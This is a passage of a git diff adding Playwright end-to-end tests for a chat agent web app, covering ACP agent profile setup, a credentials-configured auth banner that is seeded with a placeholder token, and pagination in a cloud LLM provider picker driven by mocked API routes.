+      const saveBtn = page.getByTestId("save-agent-profile-btn");
+      await expect(saveBtn).toBeEnabled({ timeout: 5_000 });
+      await saveBtn.click();
+
+      // A successful save returns the editor to the profile list.
+      await waitForTestId(page, "add-agent-profile", 10_000);
+    });
+
+    // ── Verify: agent-profiles API reflects the ACP configuration ──
+
+    await test.step("verify agent-profiles API reflects ACP config", async () => {
+      const resp = await request.get(
+        `${BACKEND_URL}/api/agent-profiles/default`,
+        {
+          headers: { "X-Session-API-Key": SESSION_API_KEY },
+        },
+      );
+      expect(
+        resp.ok(),
+        `GET /api/agent-profiles/default returned ${resp.status()}`,
+      ).toBe(true);
+      const detail = await resp.json();
+      const profile = detail?.profile as Record<string, unknown>;
+      expect(profile?.agent_kind).toBe("acp");
+
+      // The agent-profiles API stores acp_command as a shell string
+      // (ts-client `AgentProfile.acp_command: string | null`), unlike the
+      // legacy `/api/settings` which exposed a token array.
+      const command = profile?.acp_command;
+      expect(
+        typeof command === "string" && command.includes("mock-acp-server.py"),
+        `acp_command should reference mock-acp-server.py, got: ${JSON.stringify(command)}`,
+      ).toBe(true);
+    });
+  });
+
+  // ── Step 2: Reload and verify the UI reflects saved ACP config ──────
+
+  test("step 2: reload and verify ACP settings are persisted in UI", async ({
+    page,
+  }) => {
+    // Settings → Agent is the Agent Profile library (#1571); re-open the
+    // "default" profile's editor rather than a standalone form.
+    await openAgentProfileEditor(page, "default");
+
+    // The command textarea should show the mock server command
+    const commandInput = page.getByTestId("agent-command-input");
+    await expect(commandInput).toBeVisible({ timeout: 5_000 });
+    const commandValue = await commandInput.inputValue();
+    expect(
+      commandValue.includes("mock-acp-server.py"),
+      `Command should contain mock-acp-server.py after reload, got: "${commandValue}"`,
+    ).toBe(true);
+
+    // The preset dropdown should indicate the custom server is active.
+    // Since we used a custom command that doesn't match any built-in
+    // provider, the preset should show "Custom".
+    const presetSelector = page.getByTestId("agent-preset-selector");
+    await expect(presetSelector).toBeVisible({ timeout: 5_000 });
+  });
+
+  // ── Step 3: Start an ACP conversation from the home page ────────────
+
+  test("step 3: start ACP conversation and verify agent reply", async ({
+    page,
+    request,
+  }) => {
+    test.setTimeout(120_000);
+
+    // Passively capture POST /api/conversations payload to verify ACP tags
+    let capturedPayload: Record<string, unknown> | null = null;
+    const capturePayload = (req: import("@playwright/test").Request) => {
+      if (
+        req.method() === "POST" &&
+        new URL(req.url()).pathname === "/api/conversations"
+      ) {
+        try {
+          capturedPayload = req.postDataJSON();
+        } catch {
+          // non-JSON body
+        }
+      }
+    };
+    page.on("request", capturePayload);
+
+    await routeSessionApiKey(page);
+    await page.goto("/", { waitUntil: "domcontentloaded" });
+    await dismissAnalyticsModal(page);
+
+    // Wait for the home page chat launcher
+    await waitForTestId(page, "home-chat-launcher");
+
+    // Send a message to start the conversation
+    await setChatInput(page, USER_MESSAGE);
+    await page.getByTestId("submit-button").click();
+
+    // Wait for navigation to the new conversation page
+    await waitForPath(page, /\/conversations\/.+/, 30_000);
+    page.off("request", capturePayload);
+    conversationId = getConversationIdFromURL(page);
+
+    // ── Verify: the conversation launched from the active (ACP) profile ──
+    // Conversations now launch from the active AgentProfile (#1571): the
+    // payload carries `agent_profile_id` and omits `agent_settings` (the two
+    // are mutually exclusive). Step 1 switched the active "default" profile to
+    // ACP, so this launch uses it — the ACP reply token below confirms the ACP
+    // agent actually ran.
+
+    await test.step("verify conversation launched from the active agent profile", async () => {
+      expect(
+        capturedPayload,
+        "POST /api/conversations payload was not captured",
+      ).not.toBeNull();
+
+      expect(
+        capturedPayload!.agent_profile_id,
+        `Expected agent_profile_id in payload, got: ${JSON.stringify(capturedPayload)}`,
+      ).toBeTruthy();
+      expect(
+        capturedPayload!.agent_settings,
+        "agent_settings must be omitted when launching from a profile",
+      ).toBeUndefined();
+    });
+
+    // ── Verify: agent reply contains the ACP reply token ──
+
+    await test.step("verify ACP agent reply appears in chat UI", async () => {
+      try {
+        await waitForNonUserMessageText(page, ACP_REPLY_TOKEN, 60_000);
+      } catch (err) {
+        // On failure, query the events API for diagnostic context
+        let diag = "";
+        try {
+          const eventsResp = await request.get(
+            `${BACKEND_URL}/api/conversations/${encodeURIComponent(conversationId!)}/events/search`,
+            {
+              headers: { "X-Session-API-Key": SESSION_API_KEY },
+              params: { limit: "50", sort_order: "TIMESTAMP_DESC" },
+            },
+          );
+          if (eventsResp.ok()) {
+            const body = (await eventsResp.json()) as { items?: unknown[] };
+            const items = body.items ?? [];
+            diag =
+              `Events API returned ${items.length} events:\n` +
+              items
+                .map(
+                  (e: any) =>
+                    `  [${e.kind ?? "?"}] source=${e.source ?? "?"} ${JSON.stringify(
+                      e.llm_message?.content ?? e.content ?? e.message ?? "",
+                    ).slice(0, 120)}`,
+                )
+                .join("\n");
+          } else {
+            diag = `Events API returned ${eventsResp.status()}`;
+          }
+        } catch (diagErr) {
+          diag = `Events API query failed: ${diagErr}`;
+        }
+
+        throw new Error(
+          `ACP reply token "${ACP_REPLY_TOKEN}" not found in chat UI after 60s.\n` +
+            `Conversation: ${conversationId}\n` +
+            `ACP command: ${ACP_COMMAND_TEXT}\n` +
+            `${diag}`,
+          { cause: err },
+        );
+      }
+    });
+
+    // ── Verify: user message is visible in the chat UI ──
+
+    await test.step("verify user message is visible in chat UI", async () => {
+      await expect(
+        page
+          .locator('[data-testid="user-message"]')
+          .filter({ hasText: USER_MESSAGE }),
+      ).toBeVisible({ timeout: 5_000 });
+    });
+
+    // ── Verify: conversation appears in the sidebar ──
+
+    await test.step("verify conversation appears in sidebar", async () => {
+      const cardLinks = page.locator(
+        `a[href*="/conversations/${conversationId}"]`,
+      );
+      await expect(cardLinks.first()).toBeVisible({ timeout: 10_000 });
+    });
+
+    // ── Verify: no error banners ──
+
+    await test.step("verify no error banners", async () => {
+      const errorBanner = page.getByTestId("error-message-banner");
+      await expect(errorBanner).not.toBeVisible({ timeout: 2_000 });
+    });
+  });
+
+  // ── Step 4: Resume the ACP conversation from the sidebar ────────────
+
+  test("step 4: resume ACP conversation from sidebar after navigating away", async ({
+    page,
+  }) => {
+    test.skip(!conversationId, "step 3 must complete first");
+
+    await routeSessionApiKey(page);
+    await page.goto("/", { waitUntil: "domcontentloaded" });
+    await dismissAnalyticsModal(page);
+
+    // Wait for the sidebar to load conversation cards
+    const sidebarCards = page.locator('[data-testid="conversation-card"]');
+    await expect(sidebarCards.first()).toBeVisible({ timeout: 15_000 });
+
+    // Find the sidebar link to our conversation and click it
+    const conversationLink = page.locator(
+      `a[href*="/conversations/${conversationId}"]`,
+    );
+    await expect(conversationLink.first()).toBeVisible({ timeout: 10_000 });
+    await conversationLink.first().click();
+
+    // Wait for navigation back to the conversation page
+    await waitForPath(page, /\/conversations\/.+/, 15_000);
+    expect(page.url()).toContain(conversationId);
+
+    // Verify the ACP agent's reply token is still visible after resume
+    await test.step("verify ACP agent reply is still visible after resume", async () => {
+      await waitForNonUserMessageText(page, ACP_REPLY_TOKEN, 15_000);
+    });
+
+    // Verify the user's original message is still visible
+    await test.step("verify user message is still visible after resume", async () => {
+      await expect(
+        page
+          .locator('[data-testid="user-message"]')
+          .filter({ hasText: USER_MESSAGE }),
+      ).toBeVisible({ timeout: 10_000 });
+    });
+
+    // Verify no error banners after resume
+    await test.step("verify no error banners after resume", async () => {
+      const errorBanner = page.getByTestId("error-message-banner");
+      await expect(errorBanner).not.toBeVisible({ timeout: 2_000 });
+    });
+  });
+});
diff --git a/tests/e2e/mock-llm/settings/mock-llm-acp-auth-banner.spec.ts b/tests/e2e/mock-llm/settings/mock-llm-acp-auth-banner.spec.ts
new file mode 100644
index 0000000000000000000000000000000000000000..9059c0783f80c9718be96d538c459917c4306ed4
--- /dev/null
+++ b/tests/e2e/mock-llm/settings/mock-llm-acp-auth-banner.spec.ts
@@ -0,0 +1,185 @@
+/**
+ * Mock-LLM E2E test: ACP "credentials configured" auth banner (issue #1244).
+ *
+ * Regression coverage for the banner state added in #1244. On a backend where
+ * the host-login probe can't confirm a session — a Docker/cloud agent-server,
+ * which ships the ACP wrappers but not the interactive `claude` CLI — the probe
+ * classifies as `unknown`. Before the fix the banner rendered nothing, so a
+ * provider credential saved to the backend store looked identical to "no
+ * credentials at all". The fix surfaces a neutral "credentials configured"
+ * banner from the secret store (the one signal that works on Docker/cloud)
+ * WITHOUT ever claiming a verified host login.
+ *
+ * Flow (Settings → Agent profiles — the #1571 profile library — the same way a
+ * user configures a built-in provider):
+ *   1. Seed a Claude credential (CLAUDE_CODE_OAUTH_TOKEN) directly in the
+ *      backend secret store via the secrets API. The value is never read or
+ *      validated by the banner — the store only needs the name present — so a
+ *      placeholder is sufficient and no real/PAYG credential is required.
+ *   2. Open the "default" agent profile and switch it to ACP → Claude Code so
+ *      the credentials section + auth banner mount.
+ *   3. With the host-login probe inconclusive, the stored credential surfaces
+ *      the neutral "configured" banner.
+ *   4. The green "signed in" banner does NOT appear (the honesty guard — a
+ *      stored credential is not a verified login).
+ *
+ * Determinism note: the assertion requires the host-login probe to be
+ * inconclusive (`unknown`). That is always true on the containerized
+ * agent-server this suite runs against (no interactive `claude` CLI) and on a
+ * clean CI runner. If the suite is ever run against a backend whose host HAS a
+ * real Claude login, the probe legitimately reports "signed in" and the
+ * "configured" precondition can't be reached — the test skips with a reason
+ * rather than false-failing.
+ */
+
+import type { Page } from "@playwright/test";
+import { test, expect } from "@playwright/test";
+import {
+  selectDropdownOption,
+  resetToOpenHandsAgentViaUI,
+  openAgentProfileEditor,
+  BACKEND_URL,
+  SESSION_API_KEY,
+} from "../utils/mock-llm-helpers";
+
+const CLAUDE_PROVIDER_NAME = "Claude Code";
+const OAUTH_TOKEN_SECRET = "CLAUDE_CODE_OAUTH_TOKEN";
+// A placeholder value — the banner reads only whether the secret NAME exists in
+// the backend store; it never authenticates, so no real credential is needed.
+const PLACEHOLDER_TOKEN = "e2e-placeholder-not-a-real-token";
+
+/**
+ * Seed onboarding flags + a single local backend, like the shared
+ * {@link seedLocalStorage}, but point the backend at ``BACKEND_URL`` rather than
+ * ``window.location.origin``. In CI those are the same value (the config serves
+ * the browser and the backend from one ingress origin), so behaviour is
+ * unchanged there; pointing at ``BACKEND_URL`` additionally lets the suite run
+ * against a standalone backend (e.g. ``examples/acp-docker`` on a separate port
+ * during local development).
+ */
+async function seedBackend(page: Page) {
+  await page.addInitScript(
+    ({ host, apiKey }) => {
+      localStorage.setItem("analytics-consent", "false");
+      localStorage.setItem("openhands-telemetry-consent", "denied");
+      localStorage.setItem("openhands-telemetry-first-use", "true");
+      localStorage.setItem("openhands-onboarded", "1");
+      localStorage.setItem(
+        "openhands-backends",
+        JSON.stringify([
+          { id: "default-local", name: "Local", host, apiKey, kind: "local" },
+        ]),
+      );
+    },
+    { host: BACKEND_URL, apiKey: SESSION_API_KEY },
+  );
+}
+
+test.describe.configure({ mode: "serial" });
+
+test.describe("mock-LLM ACP credentials-configured banner (#1244)", () => {
+  test.beforeAll(async ({ request }) => {
+    // Seed a Claude credential so the banner resolver sees a stored secret when
+    // the credentials section mounts. PUT /api/settings/secrets is the
+    // upsert-by-name endpoint the app itself uses (secrets-service.ts). The
+    // value is never authenticated by the banner, so a placeholder suffices.
+    // No catch — a seed failure should surface here, not as a mystery at the
+    // banner assertion.
+    await request.put(`${BACKEND_URL}/api/settings/secrets`, {
+      headers: { "X-Session-API-Key": SESSION_API_KEY },
+      data: { name: OAUTH_TOKEN_SECRET, value: PLACEHOLDER_TOKEN },
+    });
+  });
+
+  test.beforeEach(async ({ page }) => {
+    await seedBackend(page);
+  });
+
+  test.afterAll(async ({ request, browser }) => {
+    // Remove the saved credential so other suites start from a clean store.
+    try {
+      await request.delete(
+        `${BACKEND_URL}/api/settings/secrets/${OAUTH_TOKEN_SECRET}`,
+        { headers: { "X-Session-API-Key": SESSION_API_KEY } },
+      );
+    } catch {
+      // best-effort
+    }
+    // Reset agent_kind back to OpenHands so suites expecting the default agent
+    // aren't affected by our ACP selection.
+    const page = await browser.newPage();
+    try {
+      await seedBackend(page);
+      await resetToOpenHandsAgentViaUI(page);
+    } catch {
+      // best-effort
+    } finally {
+      await page.close();
+    }
+  });
+
+  test("Claude credential in the store surfaces a 'configured' banner, never 'signed in'", async ({
+    page,
+  }) => {
+    // #1571 turned Settings → Agent into a profile library: the form is reached
+    // via /settings/agents (plural) by opening a profile editor, not the old
+    // standalone /settings/agent route.
+    await openAgentProfileEditor(page, "default");
+
+    const configuredBanner = page.getByTestId("settings-acp-auth-configured");
+    const signedInBanner = page.getByTestId("settings-acp-auth-detected");
+    const checkingBanner = page.getByTestId("settings-acp-auth-checking");
+
+    // Arm the probe-settled wait BEFORE selecting the provider (selecting the
+    // Claude Code preset is what fires the host-login probe). The probe POSTs
+    // the provider's status command to the agent-server bash endpoint, so
+    // settling on that response is deterministic. Waiting for the "checking"
+    // banner to hide is not: `waitFor({ state: "hidden" })` is satisfied by
+    // "not in the DOM", so it resolves immediately if the spinner hasn't
+    // painted yet, and the skip-precondition below would then be read too
+    // early — on a host with a real login the probe later reports "signed in"
+    // and the test false-fails instead of skipping (see #1244).
+    const probeSettled = page
+      .waitForResponse(
+        (res) =>
+          res.url().includes("/api/bash/execute_bash_command") &&
+          res.request().method() === "POST",
+        { timeout: 10_000 },
+      )
+      .catch(() => null);
+
+    // ── Select ACP → Claude Code ─────────────────────────────────────────
+    await selectDropdownOption(page, /Agent/, /ACP/);
+    await selectDropdownOption(
+      page,
+      /Preset/,
+      new RegExp(CLAUDE_PROVIDER_NAME),
+    );
+
+    // The Claude credential field renders for the built-in provider.
+    const tokenField = page.getByTestId(
+      `settings-acp-secret-${OAUTH_TOKEN_SECRET}`,
+    );
+    await expect(tokenField).toBeVisible({ timeout: 10_000 });
+
+    // Let the host-login probe settle: wait for its bash response, then for
+    // React Query to render the terminal banner state (the spinner clears).
+    // The probe is gated to local backends and runs once per provider. If it
+    // reports a real login, the "configured" precondition is unreachable on
+    // this host — skip rather than false-fail.
+    await probeSettled;
+    await expect(checkingBanner).toHaveCount(0, { timeout: 10_000 });
+    test.skip(
+      (await signedInBanner.count()) > 0,
+      "host-login probe reported a verified login; the credentials-configured " +
+        "state only applies when the probe is inconclusive (Docker/cloud/CI)",
+    );
+
+    // ── The seeded credential surfaces the neutral "configured" banner … ─
+    await expect(configuredBanner).toBeVisible({ timeout: 10_000 });
+    await expect(configuredBanner).toContainText(/configured/i);
+
+    // ── … and the green "signed in" banner never does (honesty guard). ───
+    await expect(signedInBanner).toHaveCount(0);
+  });
+});
diff --git a/tests/e2e/mock-llm/settings/mock-llm-cloud-providers-pagination.spec.ts b/tests/e2e/mock-llm/settings/mock-llm-cloud-providers-pagination.spec.ts
new file mode 100644
index 0000000000000000000000000000000000000000..946df26b951748bc5c81a6613576765baa6eeb41
--- /dev/null
+++ b/tests/e2e/mock-llm/settings/mock-llm-cloud-providers-pagination.spec.ts
@@ -0,0 +1,507 @@
+/**
+ * Mock-LLM E2E test: cloud LLM provider-picker pagination.
+ *
+ * Reproduction of the live bug fixed by 0a68d5c631 — on a cloud backend the
+ * `/api/v1/config/providers/search` endpoint paginates, so a provider that
+ * sorts past the default page-1 cut (the live xai symptom on 2026-08-20)
+ * must still appear in the picker UI.
+ *
+ * Mirrors the local unit test in `use-search-providers.test.tsx`: page 1
+ * returns 100 entries + `next_page_id: "page-2"`, page 2 returns the remainder
+ * including `xai` and `openrouter` + `next_page_id: null`. The picker is the
+ * canvas settings/llm "Add LLM Profile" Basic tab — i.e. the Basic view of
+ * the embedded `LlmSettingsScreen` opened from `/settings/llm` →
+ * `LlmProfilesManager` → "Add LLM Profile".
+ *
+ * The unit test exercises `useSearchProviders`'s pagination loop; this spec
+ * is the UI-level proof that the same loop lands a cloud-side `xai` entry in
+ * the rendered provider autocomplete options.
+ *
+ * Hookups:
+ *   - The cloud backend is seeded via `addInitScript` into localStorage
+ *     BEFORE the app boots so `getActiveBackend()` returns `kind: "cloud"`
+ *     on first render and `ConfigService.searchProviders` takes the cloud
+ *     branch (`/api/v1/config/providers/search` via `callCloudProxy`).
+ *   - The cloud host is `window.location.origin` so the browser fetches
+ *     `/api/v1/...` from the ingress; `page.route` intercepts before the
+ *     request reaches the network, so the live agent-server never sees it.
+ *   - `orgId: "test-org"` is required so `useCanManageOrgProfiles` enables
+ *     its query — the "Add LLM Profile" button stays hidden otherwise
+ *     (`canManage=false` for an unbound or un-loaded cloud selection).
+ *   - Every other cloud endpoint the LLM settings page touches is mocked to
+ *     a minimal valid shape so the page renders; the providers/search
+ *     endpoint is the only one that returns real data.
+ */
+
+import { expect, test } from "@playwright/test";
+import {
+  BACKEND_URL,
+  SESSION_API_KEY,
+  dismissAnalyticsModal,
+} from "../utils/mock-llm-helpers";
+
+const CLOUD_ORG_ID = "test-org";
+const CLOUD_BACKEND_ID = "cloud-providers-pagination";
+
+/** All page-1 names — alphabetically sorted so `xai` / `openrouter` fall past 100. */
+const PAGE_1_NAMES: string[] = Array.from(
+  { length: 100 },
+  (_, i) => `provider_${String(i).padStart(3, "0")}`,
+);
+
+/**
+ * The rest of the list. `xai` sorts past the cut because every page-1 name
+ * starts with `provider_` (which sorts before `x`); `openrouter` is included
+ * so the spec catches a regression that drops only `xai` while still walking
+ * past page 1.
+ */
+const PAGE_2_NAMES: string[] = [
+  "openrouter",
+  "xai",
+  ...Array.from({ length: 47 }, (_, i) => `zprovider_${String(i).padStart(3, "0")}`),
+];
+
+const ALL_PROVIDER_COUNT = PAGE_1_NAMES.length + PAGE_2_NAMES.length;
+// Squelch unused-export warning surfaced by the strict e2e lint pass.
+// Reference is intentional: documents the total page-1 + page-2 entry
+// count the picker is expected to surface to the user.
+void ALL_PROVIDER_COUNT;
+
+test.describe.configure({ mode: "serial" });
+
+test.describe("cloud LLM provider-picker pagination", () => {
+  test("surfaces providers past page 1 (e.g. xai) in the picker on a cloud backend", async ({
+    page,
+  }) => {
+    test.setTimeout(120_000);
+
+    // ── Seed: cloud backend in localStorage BEFORE the app boots ───────
+    //
+    // The init script runs before any page script, so `getActiveBackend()`
+    // returns `kind: "cloud"` on first render and `ConfigService` routes
+    // `searchProviders` through `callCloudProxy` → the providers/search
+    // endpoint we intercept below.
+    await page.addInitScript(
+      ({ backendId, orgId }) => {
+        // First-run suppression + analytics consent, matching the local
+        // `seedLocalStorage` helper. These are independent of the backend
+        // seeding but the LLM settings page expects them.
+        window.localStorage.setItem("analytics-consent", "false");
+        window.localStorage.setItem("openhands-telemetry-consent", "denied");
+        window.localStorage.setItem("openhands-telemetry-first-use", "true");
+        window.localStorage.setItem("openhands-onboarded", "1");
+
+        // Session key (matching the npm mock-llm harness) so any
+        // non-cloud fallback path stays authed; cloud calls use bearer.
+        window.localStorage.setItem(
+          "openhands-agent-server-config",
+          JSON.stringify({ sessionApiKey: "ignored-on-cloud" }),
+        );
+
+        window.localStorage.setItem(
+          "openhands-backends",
+          JSON.stringify([
+            {
+              id: backendId,
+              name: "OpenHands Cloud (test)",
+              // Same origin as the ingress so the browser sends the
+              // cloud-proxy request to a host page.route can intercept.
+              host: window.location.origin,
+              apiKey: "cloud-test-api-key",
+              kind: "cloud",
+            },
+          ]),
+        );
+
+        // orgId is REQUIRED: useCanManageOrgProfiles disables its query
+        // without it, returning canManage=false, which hides "Add LLM
+        // Profile" and prevents the picker from rendering.
+        window.localStorage.setItem(
+          "openhands-active-backend",
+          JSON.stringify({ backendId, orgId }),
+        );
+      },
+      { backendId: CLOUD_BACKEND_ID, orgId: CLOUD_ORG_ID },
+    );
+
+    // ── Mock cloud API ──────────────────────────────────────────────────
+
+    // Track which page-ids the picker actually requested so the assertion
+    // also proves the hook walked the cursor (not just happened to include
+    // xai in the items it rendered).
+    const requestedPageIds: string[] = [];
+
+    // Catch-all for any /api/v1/* the page touches. Specific patterns below
+    // outrank this one — Playwright `page.route()` is LIFO, so a generic
+    // `**/api/v1/**` handler MUST be registered FIRST, before any specific
+    // `**/api/v1/<x>` route, or it shadows them. Verified empirically;
+    // route() does NOT match by glob specificity.
+    await page.route("**/api/v1/**", async (route) => {
+      await route.fulfill({
+        status: 200,
+        contentType: "application/json",
+        body: JSON.stringify({ items: [], profiles: [], organizations: [] }),
+      });
+    });
+
+    await page.route(
+      "**/api/v1/config/providers/search**",
+      async (route) => {
+        const url = new URL(route.request().url());
+        const pageId = url.searchParams.get("page_id");
+        requestedPageIds.push(pageId ?? "<none>");
+
+        if (!pageId) {
+          await route.fulfill({
+            status: 200,
+            contentType: "application/json",
+            body: JSON.stringify({
+              items: PAGE_1_NAMES.map((name) => ({
+                name,
+                verified: false,
+              })),
+              next_page_id: "page-2",
+            }),
+          });
+          return;
+        }
+        if (pageId === "page-2") {
+          await route.fulfill({
+            status: 200,
+            contentType: "application/json",
+            body: JSON.stringify({
+              items: PAGE_2_NAMES.map((name) => ({
+                name,
+                verified: false,
+              })),
+              next_page_id: null,
+            }),
+          });
+          return;
+        }
+        await route.fulfill({
+          status: 500,
+          contentType: "application/json",
+          body: JSON.stringify({ error: `unexpected page_id ${pageId}` }),
+        });
+      },
+    );
+
+    // Cloud settings — minimal shape; the Basic tab only needs the model
+    // pre-fill (handled in `initialValueOverrides` for the create form) and
+    // an empty schema is fine for this assertion.
+    await page.route("**/api/v1/settings", async (route) => {
+      if (route.request().method() === "GET") {
+        await route.fulfill({
+          status: 200,
+          contentType: "application/json",
+          body: JSON.stringify({}),
+        });
+        return;
+      }
+      await route.continue();
+    });
+
+    // Agent schema — the picker ONLY renders in the Basic view, but the
+    // embedded `<LlmSettingsScreen>` opens on Advanced (`forceShowAdvancedView`),
+    // and the view toggle at the top of `<SdkSectionPage>` is conditional:
+    //   if (visibleTabs <= 1) return null;
+    // visibleTabs = sum of (showBasic, showAdvanced, showAll), where
+    //   showBasic     = hasCriticalSettings (schema field.prominence === "critical")
+    //   showAdvanced  = forceShowAdvancedView (true here) || hasAdvancedSettings
+    //   showAll       = allowAllView && hasMinorSettings
+    // With an empty schema we'd get visibleTabs = 1 (Advanced only) and the
+    // Basic toggle would never render. The spec therefore provides one
+    // critical-prominence field so Basic is visible and clickable. Shape
+    // matches `Settings["agent_settings_schema"]` (see mocks/settings-handlers.ts).
+    await page.route(
+      "**/api/v1/settings/agent-schema",
+      async (route) => {
+        await route.fulfill({
+          status: 200,
+          contentType: "application/json",
+          body: JSON.stringify({
+            model_name: "AgentSettings",
+            sections: [
+              {
+                key: "llm",
+                label: "LLM",
+                fields: [
+                  {
+                    key: "llm.model",
+                    label: "Model",
+                    description: "Model selection.",
+                    section: "llm",
+                    section_label: "LLM",
+                    value_type: "string",
+                    default: "openhands/claude-opus-4-5-20251101",
+                    choices: [],
+                    depends_on: [],
+                    prominence: "critical",
+                    secret: false,
+                    required: true,
+                  },
+                ],
+              },
+            ],
+          }),
+        });
+      },
+    );
+
+    // Org-scoped role check — the spec needs the "Add LLM Profile" button
+    // visible, which requires canManage=true (owner or admin).
+    await page.route("**/api/organizations/*/me", async (route) => {
+      await route.fulfill({
+        status: 200,
+        contentType: "application/json",
+        body: JSON.stringify({ org_id: "test-org", role: "owner" }),
+      });
+    });
+
+    // Org-scoped profile list (the cloud path of ProfilesService when an
+    // orgId is bound). An empty list keeps the manager UI simple.
+    await page.route(
+      "**/api/organizations/*/profiles**",
+      async (route) => {
+        await route.fulfill({
+          status: 200,
+          contentType: "application/json",
+          body: JSON.stringify({ profiles: [], active_profile: null }),
+        });
+      },
+    );
+
+    // Diagnostic listener — kept here intentionally. When this spec fails
+    // in the future, the printed bodies of the two endpoints we route make
+    // it immediately obvious whether a route match regressed (catch-all
+    // shadowing, glob-specificity change in Playwright, etc.) without
+    // needing to re-enable any debug logging. The `[diag]` lines are the
+    // authoritative way to inspect wire state.
+    page.on("response", async (resp) => {
+      const url = resp.url();
+      try {
+        const body = await resp.text();
+        if (url.includes("/api/v1/settings/agent-schema")) {
+          // eslint-disable-next-line no-console
+          console.log(
+            "[diag] schema response:",
+            body.slice(0, 120),
+          );
+        }
+        if (url.includes("/api/v1/config/providers/search")) {
+          // eslint-disable-next-line no-console
+          console.log(
+            "[diag] providers response:",
+            body.slice(0, 120),
+          );
+        }
+      } catch {
+        // ignore
+      }
+    });
+
+    // ── Drive the UI ────────────────────────────────────────────────────
+
+    await page.goto("/settings/llm", { waitUntil: "domcontentloaded" });
+
+    // The "Help improve OpenHands" telemetry consent modal can paint later
+    // than DOM-content-loaded and a fixed backdrop intercepts pointer events.
+    // Pre-dismiss it so the picker click below isn't blocked.
+    await dismissAnalyticsModal(page);
+
+    // The picker lives inside the "Add LLM Profile" editor; the list view
+    // has to be open first so the button can render.
+    const addBtn = page.getByTestId("add-llm-profile");
+    await expect(addBtn, "Add LLM Profile button visible").toBeVisible({
+      timeout: 15_000,
+    });
+    await addBtn.dispatchEvent("click");
+
+    // The embedded editor opens on the Advanced tab by default
+    // (`forceShowAdvancedView` in `<LlmSettingsScreen>`). The provider
+    // autocomplete only renders in the Basic tab, so switch first.
+    const basicToggle = page.getByTestId("sdk-section-basic-toggle");
+    await expect(basicToggle, "Basic view toggle rendered").toBeVisible({
+      timeout: 10_000,
+    });
+    await basicToggle.dispatchEvent("click");
+
+    await expect(
+      page.getByTestId("llm-settings-form-basic"),
+      "Basic tab form rendered",
+    ).toBeVisible({ timeout: 15_000 });
+
+    const providerInput = page.getByTestId("llm-provider-input");
+    await expect(providerInput, "Provider autocomplete rendered").toBeVisible({
+      timeout: 15_000,
+    });
+
+    // HeroUI's Autocomplete is a combobox under the hood — open it and let
+    // the virtualized listbox render so every option (page-1 + page-2) is
+    // reachable.
+    await providerInput.click();
+    await providerInput.fill(""); // clear any prior selection
+
+    // The picker is filtered by the typed query; an empty query shows every
+    // option. `xai` and `openrouter` MUST be present, on the live cloud
+    // default they were silently omitted because the hook dropped
+    // `next_page_id` on the floor.
+    //
+    // The AutocompleteItem text goes through `mapProvider(provider.name)`,
+    // which title-cases known mappings ("OpenRouter" not "openrouter").
+    // Match the rendered label rather than the provider id.
+    const xaiOption = page.getByRole("option", { name: /^xai$/i });
+    await expect(
+      xaiOption,
+      "xai is selectable in the picker (it sorts past page 1)",
+    ).toBeVisible({ timeout: 10_000 });
+
+    // Let the dropdown's open transition finish before the test moves on.
+    // Playwright's toBeVisible passes mid-fade (mounted + nonzero size),
+    // so without this the recorded video ends on a translucent menu.
+    await expect(
+      page.getByRole("listbox"),
+      "dropdown open transition settled",
+    ).toHaveCSS("opacity", "1");
+
+    const openrouterOption = page.getByRole("option", {
+      name: /^openrouter$/i,
+    });
+    await expect(
+      openrouterOption,
+      "openrouter is selectable in the picker (it sorts past page 1)",
+    ).toBeVisible({ timeout: 10_000 });
+
+    // Sanity: the hook really walked the cursor — page 2 was requested.
+    // Without the fix the hook issues exactly one request (no `page_id`),
+    // returns `page.items` of 100 entries, and never sees `xai`.
+    expect(
+      requestedPageIds,
+      "useSearchProviders recursed to page-2 (cursor walk)",
+    ).toEqual(["<none>", "page-2"]);
+
+    // Selecting xai in the picker proves it's a fully-wired AutocompleteItem
+    // and not just text rendered into the DOM by accident. HeroUI's
+    // Autocomplete updates its `data-key` (or selected-key state) on click
+    // rather than setting `aria-activedescendant` (which is keyboard-nav
+    // only), so the visible-once-clicked key state is the assertion:
+    // re-querying the listbox after click should show xai as the selected
+    // option, not the placeholder "Search …" or empty.
+    await xaiOption.click();
+    // After selection the listbox closes and the input's value updates to
+    // xai. Some HeroUI versions mutate the value via a hidden input; assert
+    // via DOM value rather than aria-activedescendant.
+    await expect(
+      providerInput,
+      "xai is wired into the picker (value updates after click)",
+    ).toHaveValue(/xai/i, { timeout: 5_000 });
+  });
+
+  test("does not regress the local path: 150+ providers render in the picker", async ({
+    page,
+  }) => {
+    // Companion assertion for the local backend — the brief asks for it if
+    // it falls out cheaply. The fix preserves the byte-identical
+    // 149-provider local shape (ConfigService.searchProviders returns a
+    // single page with `next_page_id: null` after one call).
+    test.setTimeout(120_000);
+
+    await page.addInitScript(
+      ({ apiKey }) => {
+        window.localStorage.setItem("analytics-consent", "false");
+        window.localStorage.setItem("openhands-telemetry-consent", "denied");
+        window.localStorage.setItem("openhands-telemetry-first-use", "true");
+        window.localStorage.setItem("openhands-onboarded", "1");
+        window.localStorage.setItem(
+          "openhands-agent-server-config",
+          JSON.stringify({ sessionApiKey: apiKey }),
+        );
+        window.localStorage.setItem(
+          "openhands-backends",
+          JSON.stringify([
+            {
+              id: "default-local",
+              name: "Local",
+              host: window.location.origin,
+              apiKey,
+              kind: "local",
+            },
+          ]),
+        );
+      },
+      { apiKey: SESSION_API_KEY },
+    );
+
+    // Local path: intercept the local agent-server endpoints the LLM
+    // settings page touches. We only need enough to render the picker and
+    // populate the provider list — the assertions below only require the
+    // autocomplete to be open and a known-far-down provider to appear.
+    const allProviders = Array.from(
+      { length: 150 },
+      (_, i) => `provider_${String(i).padStart(4, "0")}`,
+    );
+
+    await page.route("**/api/llm/providers", async (route) => {
+      await route.fulfill({
+        status: 200,
+        contentType: "application/json",
+        body: JSON.stringify({ providers: allProviders }),
+      });
+    });
+
+    await page.route("**/api/llm/models/verified", async (route) => {
+      await route.fulfill({
+        status: 200,
+        contentType: "application/json",
+        body: JSON.stringify({ models: {} }),
+      });
+    });
+
+    await page.route("**/api/llm/models", async (route) => {
+      await route.fulfill({
+        status: 200,
+        contentType: "application/json",
+        body: JSON.stringify({ models: [] }),
+      });
+    });
+
+    await page.goto("/settings/llm", { waitUntil: "domcontentloaded" });
+
+    // The "Help improve OpenHands" telemetry consent modal can paint later
+    // than DOM-content-loaded and a fixed backdrop intercepts pointer events.
+    // Pre-dismiss it so the picker click below isn't blocked.
+    await dismissAnalyticsModal(page);
+
+    const addBtn = page.getByTestId("add-llm-profile");
